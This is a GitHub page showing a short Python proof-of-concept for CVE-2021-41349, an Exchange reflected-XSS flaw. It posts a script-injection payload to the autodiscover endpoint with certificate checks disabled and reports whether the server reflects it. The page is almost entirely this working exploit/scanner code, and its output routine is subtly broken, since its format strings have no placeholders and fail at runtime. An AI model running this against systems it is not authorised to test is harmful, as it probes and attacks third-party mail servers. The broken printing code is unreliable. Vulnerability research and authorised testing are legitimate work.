forked from pythonman083/expbox
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcve-2021-41349-poc.py
56 lines (44 loc) · 1.59 KB
/
cve-2021-41349-poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# coding: utf-8
import requests
import argparse
class EXP():
def __init__(self, args):
self.name = '''Exchange XSS CVE-2021-41349'''
self.url = args.url
self.res = ""
def _attack(self):
payload = '''
%3Cscript%3Ealert%28document.domain%29%3B+a=%22%3C%2Fscript%3E&x=1
'''
path='/autodiscover/autodiscover.json'
headers = {
'User-Agent': "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:55.0) Gecko/20100101 Firefox/55.0",
'Content-Type': 'application/x-www-form-urlencoded'
}
resp = requests.post(self.url+path, headers=headers, data=payload, verify=False)
if resp.status_code == 500 and 'alert(document.domain);' in resp.text and 'a=""' in resp.text:
self.res = "Vulnerable!"
else:
self.res = "Not Vulnerable..."
def parseArgs():
parser = argparse.ArgumentParser(description="[Exp]!",
formatter_class=argparse.RawDescriptionHelpFormatter)
group = parser.add_mutually_exclusive_group()
group.add_argument("-u", '--url', help="URL to scan; -u http://example.com")
args = parser.parse_args()
return args
def output(exp):
print("##################################")
print("Name" % exp.name)
print("URL" % exp.url)
print("RES" % exp.res)
print("##################################")
if __name__ == "__main__":
args = parseArgs()
exp = EXP(args)
try:
exp._attack()
except Exception as e:
print(e)
exp.res = "Error"
output(exp)